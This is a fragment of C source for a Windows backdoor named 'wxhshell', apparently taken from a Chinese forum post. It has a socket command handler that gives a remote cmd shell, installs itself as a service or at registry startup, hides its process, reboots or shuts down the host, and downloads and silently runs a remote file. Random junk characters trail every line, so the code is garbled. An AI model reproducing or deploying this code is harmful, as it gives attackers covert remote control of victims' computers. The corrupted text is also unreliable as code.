    switch(cmd[0]) { D(ntVR  
  Bw/H'Y  
  // 帮助 /dvnQW4}8  
  case '?': { &+r ;>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `GN5QLg#}0  
    break; GHsdLe=t0#  
  } !vo'8r?&  
  // 安装 ][K8\  
  case 'i': { &8YI)G%  
    if(Install()) ; dHOH\,:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iKEKk\j-w  
    else L"vG:Mq@D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^)P5(fJ  
    break; I8oKa$RF  
    } AiHDoV+-  
  // 卸载 '*{Rn7B5  
  case 'r': { 1X_!%Z  
    if(Uninstall()) \w\47/k{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Va[dZeoy  
    else <Phr`/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {^O/MMB\\%  
    break; SVEA  
    } lG^nT  
  // 显示 wxhshell 所在路径 7)It1i-  
  case 'p': { &\D<n; 3  
    char svExeFile[MAX_PATH]; Sw9mrhzJfe  
    strcpy(svExeFile,"\n\r"); G;#t6bk  
      strcat(svExeFile,ExeFile); IhKas4  
        send(wsh,svExeFile,strlen(svExeFile),0); +z?f,`.*  
    break; .$}zw|,q  
    } FZ.Yn   
  // 重启 !rmo*-=^=  
  case 'b': { T[9jTO?W2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2i'-lM=  
    if(Boot(REBOOT)) btz3f9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +O:pZz  
    else { +#"Ic:  
    closesocket(wsh); (V%vFD1)  
    ExitThread(0); dE!=a|Pl  
    } k)t8J\  
    break; -+2xdLa63  
    } d1_*!LW$  
  // 关机 ZjbG&oc  
  case 'd': { uC ;PP=z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q@yabuN@,j  
    if(Boot(SHUTDOWN)) _I"<?sh 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k.f:nv5JO  
    else { iP\&fZY_  
    closesocket(wsh); I8wVvs;k  
    ExitThread(0); E6\~/=X=%  
    } [?o v J  
    break; {'bkU9+  
    } H4",r5qw:  
  // 获取shell 3\~fe/z'I  
  case 's': { 3T^dgWXEG  
    CmdShell(wsh); +uXnFf d^  
    closesocket(wsh); "JGig!9  
    ExitThread(0); +GtGyp  
    break; ^7<mlr  
  } &y wY?ox  
  // 退出 gM[ J'DMW  
  case 'x': { g 5N<B+?!i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (w  
    CloseIt(wsh); 5Kxk9{\8  
    break; KvOI)"0(  
    } f;dU72]q+  
  // 离开 Yzx0[_'u  
  case 'q': { >V=@[B(0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }n8;A;axi  
    closesocket(wsh); 4gt "dfy+  
    WSACleanup(); zC;lfy{f=  
    exit(1); e[o ;l  
    break; ,+evP=(cX  
        } TTak[e&j3  
  } 3Ya6yz  
  } 'U Cx^-  
Eu~wbU"%  
  // 提示信息 JU+'UK630  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KftM4SFbK  
} "< R 2oo)^  
  } |VF"Cjw?  
ai9,4  
  return; *%+buHe  
} 3`8xh 9O  
$ !=:ES  
// shell模块句柄 1caod0gor  
int CmdShell(SOCKET sock) [m&ZAq  
{ ]a~LA7VHO  
STARTUPINFO si; LZ dNG\-  
ZeroMemory(&si,sizeof(si)); r}Av"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Av4E ?@R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l~c> jm8.  
PROCESS_INFORMATION ProcessInfo; Qj[O$L0 $  
char cmdline[]="cmd"; 4'| :SyOm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J, >PLQAa  
  return 0; ;itg>\ p3  
} rmJ847%y`  
>7Q7H#~w  
// 自身启动模式 %*}f<k{6  
int StartFromService(void) ixpG[8s  
{ Lxrn#Z eM  
typedef struct 2 -8:qmP(  
{ fbkjK`_q  
  DWORD ExitStatus; "b7C0NE  
  DWORD PebBaseAddress; IV*$U7~  
  DWORD AffinityMask; b;ZAz  
  DWORD BasePriority; rJj~cPwL"  
  ULONG UniqueProcessId; z5w|+9U  
  ULONG InheritedFromUniqueProcessId; .q}k  
}   PROCESS_BASIC_INFORMATION; >xgd<  
zt}p-U2I  
PROCNTQSIP NtQueryInformationProcess; ,KaWP  
g+*[CKO{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YNk|UwJi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZM!~M>B9R  
uMZf9XUE  
  HANDLE             hProcess; W<l(C!{  
  PROCESS_BASIC_INFORMATION pbi; brot&S2P><  
T6#GlO)8)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 11+_OC2-   
  if(NULL == hInst ) return 0; !7?wd^C'f  
L<`g}iw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9x,+G['Zt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )5x?Qn(B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ywte \}  
A[a+,TN {  
  if (!NtQueryInformationProcess) return 0; P://Zi6>  
S45_-aE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,BAF?} 04=  
  if(!hProcess) return 0; Z8UM0B=i  
-C<aB750O)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Wno5B/V  
\ } f*   
  CloseHandle(hProcess); xc?<:h"  
rfpxE>_|G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E 3.s8}}  
if(hProcess==NULL) return 0; 2_v>8B  
:"]ei@  
HMODULE hMod; $S{j}74[  
char procName[255]; cIjsUqKa  
unsigned long cbNeeded; DcHMiiVM  
U7?ez  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P#PQ4uK \  
?Pc 3*.  
  CloseHandle(hProcess); p7er04/}\  
>j3N-;o@?  
if(strstr(procName,"services")) return 1; // 以服务启动 Bs}>#I  
~yN,FpD  
  return 0; // 注册表启动 yjzNU5F  
} Xi.?9J`@  
2O/_hv.  
// 主模块 3s2M$3r)6  
int StartWxhshell(LPSTR lpCmdLine) ,pz CJ@5  
{ *Cw2h  
  SOCKET wsl; t`B']Ac;T  
BOOL val=TRUE; 4uA^/]ygo  
  int port=0; (=9&"UH  
  struct sockaddr_in door; c2/HY8ttRD  
RkzBn  
  if(wscfg.ws_autoins) Install(); T:$_1I $  
bk]|C!7$  
port=atoi(lpCmdLine); G]CY3xw98  
H;1}Nvvd  
if(port<=0) port=wscfg.ws_port; ;\N*iN#K  
$EF@x}h:A  
  WSADATA data; !4:,,!T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4^&vRD,  
2Fi*)\{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8vK&d>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h;->i]  
  door.sin_family = AF_INET; "Cb<~Dy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )RFeF!("  
  door.sin_port = htons(port); c^y 1s*  
_rd{cvdR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -}@9lhS,  
closesocket(wsl); {W]jVh p  
return 1; xFZq6si?  
} s?Kn,6Y  
"T|\  
  if(listen(wsl,2) == INVALID_SOCKET) { ;H lv  
closesocket(wsl); O [/~V=  
return 1; gZ3!2T>  
} <=Qk^Y2k  
  Wxhshell(wsl); %L3]l  
  WSACleanup(); >q`X%&l_  
"dOzQz*E  
return 0; eAMT72_  
?F/3]lsggT  
} *rLs!/[Z_  
sXu]k#I^"  
// 以NT服务方式启动 lS^0*(Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @zbXG_J  
{ s><co]  
DWORD   status = 0; AM>:At Y  
  DWORD   specificError = 0xfffffff; JFZ p^{  
bb{+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8{C3ijR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Tx*m p+q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #82B`y<<y/  
  serviceStatus.dwWin32ExitCode     = 0; hlRE\YO&8R  
  serviceStatus.dwServiceSpecificExitCode = 0; DN+`Q{KS  
  serviceStatus.dwCheckPoint       = 0; Ju<D7  
  serviceStatus.dwWaitHint       = 0; AN@Vos Cu  
\"SI-`x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^;a[v^&9  
  if (hServiceStatusHandle==0) return; y.zQ `  
J}JnJV8|G  
status = GetLastError(); 4tI~d8?pk+  
  if (status!=NO_ERROR) v,;?+Ck  
{ =R05H2hs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L6m'u6:1{  
    serviceStatus.dwCheckPoint       = 0; C7{wI`~  
    serviceStatus.dwWaitHint       = 0; x+pFu5,  
    serviceStatus.dwWin32ExitCode     = status; P]n ' q  
    serviceStatus.dwServiceSpecificExitCode = specificError; S~T[*Z/m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X 6)LpMm  
    return; yFSL7`p+  
  } ^|Y!NHYH$Z  
-LyIu#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ze- iDd_y  
  serviceStatus.dwCheckPoint       = 0; T1E{NgK  
  serviceStatus.dwWaitHint       = 0; L" o6)N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nV,a|V5Xm  
} cQ`,:t#[  
?U |lZ~o  
// 处理NT服务事件,比如:启动、停止 oW6.c]Vo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nx99dr  
{ |s:!LU&OL\  
switch(fdwControl)  Dg@6o  
{ LE;c+(CAU  
case SERVICE_CONTROL_STOP: "jSn`  
  serviceStatus.dwWin32ExitCode = 0; FB@G.f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yZ`\.GgC^&  
  serviceStatus.dwCheckPoint   = 0; (~jOtUyT  
  serviceStatus.dwWaitHint     = 0; _xJ&p$&  
  { _/Hu'9432  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "ggq7cJ}_  
  } V|7 c dX#H  
  return; yxH[uJpb  
case SERVICE_CONTROL_PAUSE: (f)QEho7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FEkx&9]  
  break; s[hD9$VB>  
case SERVICE_CONTROL_CONTINUE: W/ERqVZR]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R$q:Ct  
  break; v[m>;Ubg&  
case SERVICE_CONTROL_INTERROGATE: 4h|vd.t  
  break; C<3An_Dy  
}; ' {Q L`L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?g 3sv5\u  
} COap*  
'G&w[8mqY  
// 标准应用程序主函数 % n^]1R#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #r\uh\Cy  
{ =#W6+=YN8  
Cd4G&(=  
// 获取操作系统版本 B#=dz,}  
OsIsNt=GetOsVer(); v"`w'+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sS._N@f  
7j^,4;  
  // 从命令行安装 Qi9SN00F.  
  if(strpbrk(lpCmdLine,"iI")) Install(); RW'QU`N[Y  
zR%#Q_  
  // 下载执行文件 JH 8^ZP:d'  
if(wscfg.ws_downexe) { r;-\z(h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @ Fu|et  
  WinExec(wscfg.ws_filenam,SW_HIDE); kp[Jl0K5  
} jN'zNOV~  
hT<v8  
if(!OsIsNt) { j*GYYEY  
// 如果时win9x,隐藏进程并且设置为注册表启动 y&UsSS  
HideProc(); 1'ZBtX~A  
StartWxhshell(lpCmdLine); &a V`u?'e  
} dI`b AP;\  
else y@F{pr+dA  
  if(StartFromService()) hUqIjcuL4  
  // 以服务方式启动 5( 3tPbm{  
  StartServiceCtrlDispatcher(DispatchTable); GE|V^_|i  
else _o;alt  
  // 普通方式启动 L~\Ir  
  StartWxhshell(lpCmdLine); HM`;%0T0(  
2gA6$s7  
return 0; _T1|_9b  
}
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只看该作者 1 发表于: 2006-10-10
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